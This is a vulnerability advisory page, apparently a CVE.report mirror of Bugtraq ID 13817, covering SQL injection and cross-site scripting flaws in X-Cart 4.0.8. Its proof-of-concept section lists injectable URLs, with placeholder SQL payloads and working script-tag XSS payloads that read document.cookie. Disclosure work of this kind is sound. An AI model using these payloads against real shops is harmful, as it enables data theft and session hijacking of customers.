Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

BID:13817

Info

Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

Bugtraq ID: 13817
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 30 2005 12:00AM
Updated: May 30 2005 12:00AM
Credit: Discovery is credited to CENSORED <[email protected]>.
Vulnerable: Qualiteam X-Cart 4.0.8
Not Vulnerable:

Discussion

Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.

X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

Exploit / POC

Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

An exploit is not required.

The following proof of concept URIs are available:

SQL Injection:
http://www.example.com/home.php?cat='[SQL-inj]
http://www.example.com/home.php?printable='[SQL-inj]
http://www.example.com/product.php?productid='[SQL-inj]
http://www.example.com/product.php?mode='[SQL-inj]
http://www.example.com/error_message.php?access_denied&id='[SQL-inj]
http://www.example.com/help.php?section='[SQL-inj]
http://www.example.com/orders.php?mode='[SQL-inj]
http://www.example.com/register.php?mode='[SQL-inj]
http://www.example.com/search.php?mode='[SQL-inj]
http://www.example.com/giftcert.php?gcid='[SQL-inj]
http://www.example.com/giftcert.php?gcindex='[SQL-inj]

Cross-site Scripting:
http://www.example.com/home.php?cat='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/home.php?printable='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/product.php?productid='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/product.php?mode='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/error_message.php?access_denied&id='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/help.php?section='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/orders.php?mode='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/register.php?mode='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/search.php?mode='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/giftcert.php?gcid='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://www.example.com/giftcert.php?gcindex='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;

Solution / Fix

Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

Solution:
The vendor has confirmed these issues and released a patch to address them. The latest version of the application is not vulnerable to these issues as well. Please contact the vendor to obtain fixes.

References

Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report